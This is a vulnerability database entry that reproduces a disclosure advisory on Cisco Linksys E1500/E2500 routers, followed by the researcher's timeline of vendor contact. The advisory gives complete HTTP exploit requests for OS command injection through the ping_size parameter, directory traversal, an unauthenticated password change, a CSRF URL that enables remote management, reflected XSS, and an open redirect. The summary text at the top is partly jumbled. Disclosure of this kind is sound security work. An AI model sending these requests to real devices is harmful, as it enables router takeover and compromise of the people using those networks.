ID

VAR-201302-0530

TITLE

Cisco Linksys E1500 Router Cross-Site Scripting Vulnerability

DESCRIPTION

An attacker could exploit the vulnerability to access the system and other configuration files and perform unauthorized operations in the context of the user's session. An attacker can exploit a vulnerability to redirect a user to a potentially malicious website for a phishing attack. The vulnerability is due to a lack of proper validation of the ping_size parameter, which could allow an attacker to inject and execute arbitrary shell commands. An attacker of this vulnerability could modify the current password if it is not known. The attacker needs an authenticated browser to access it. The Cisco Linksys E1500 Router is a wireless router device. A directory traversal vulnerability exists in the Cisco Linksys E1500 Router. An attacker can send a specially crafted URL request containing a \"dot\" sequence (/.. /) in the next_page parameter to view any file on the system. A command-execution vulnerability 2. A security-bypass vulnerability 3. A cross-site request-forgery vulnerability 4. A directory-traversal vulnerability 6. It lets you access the Internet via a wireless connection or through one of its four switched ports. You can also use the Linksys E1500 to share resources, such as computers, printers and files. The installation and use of the Linksys E1500 is easy with Cisco Connect, the software that is installed when you run the Setup CD. Likewise, advanced configuration of the Linksys E1500 is available through its web-based setup page. Source: http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=... ============ Vulnerable Firmware Releases - e1500: ============ Firmware-Version: v1.0.00 - build 9 Feb. 17, 2011 Firmware-Version: v1.0.04 - build 2 M\xe4r. 8, 2012 Firmware-Version: v1.0.05 - build 1 Aug. 23, 2012 ============ Vulnerable Firmware Releases - e2500: ============ Firmware Version: v1.0.03 (only tested for known OS command injection) Other versions may also be affected. It is possible to start a telnetd or upload and execute a backdoor to compromise the device. You need to be authenticated to the device or you have to find other methods for inserting the malicious commands. Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Diagnostics.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 185 Connection: close submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26ping%20192%2e168%2e178%2e102%26&ping_times=5&traceroute_ip= Change the request methode from HTTP Post to HTTP GET makes the exploitation easier: http://192.168.178.199/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26COMMAND%26&ping_times=5&traceroute_ip= Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-os-command-injection-1.0.05-rooted.png * Directory traversal - tested on E1500: => parameter: next_page Access local files of the device. Request: POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Wireless_Basic.asp Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 75 submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version Response: HTTP/1.1 200 Ok Server: httpd Date: Thu, 01 Jan 1970 00:00:29 GMT Cache-Control: no-cache Pragma: no-cache Expires: 0 Content-Type: text/html Connection: close Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 HKT 2012 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-dir-traversal.png * For changing the current password there is no request of the current password - tested on E1500 With this vulnerability an attacker is able to change the current password without knowing it. Example Request: POST /apply.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.1.1/Management.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 311 submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0 * CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management - tested on E1500: http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0 * Reflected Cross Site Scripting - tested on E1500 => Parameter: wait_time=3'%3balert('pwnd')// Injecting scripts into the parameter wait_time reveals that this parameter is not properly validated for malicious input. Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Wireless_Basic.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 300 submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-XSS.png * Redirection - tested on E1500 => Paramter: submit_button=http://www.pwnd.pwnd%0a Injecting URLs into the parameter submit_button reveals that this parameter is not properly validated for malicious input. Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.178.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.199/Wireless_Basic.asp Authorization: Basic xxxx Content-Type: application/x-www-form-urlencoded Content-Length: 290 submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-redirect.png ============ Solution ============ No known solution available. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de Advisory URL: http://www.s3cur1ty.de/m1adv2013-004 Twitter: @s3cur1ty_de ============ Time Line: ============ October 2012 - discovered vulnerability 21.10.2012 - contacted Linksys with vulnerability details 23.10.2012 - Linksys requestet to check new firmware v1.0.05 build 1 27.10.2012 - Tested and verified all vulnerabilities in release v1.0.05 build 1 27.10.2012 - contacted Linksys with vulnerabilty details in release v1.0.05 build 1 29.10.2012 - Linksys responded with case number 13.11.2012 - /me requested update of the progress 15.11.2012 - Linksys sends Beta Agreement 16.11.2012 - Linksys sends the Beta Firmware for testing 16.11.2012 - tested Beta version 18.11.2012 - informed Linksys about the results 30.11.2012 - reported the same OS Command injection vulnerability in model E2500 10.12.2012 - /me requested update of the progress 23.12.2012 - Update to Linksys with directory traversal vulnerability 09.01.2013 - Case closed 05.02.2013 - public release ===================== Advisory end =====================

IOT TAXONOMY

AFFECTED PRODUCTS

THREAT TYPE

remote

TYPE

Input Validation Error

EXTERNAL IDS

REFERENCES

CREDITS

Michael Messner

SOURCES

LAST UPDATE DATE

2022-05-17T02:00:07.574000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE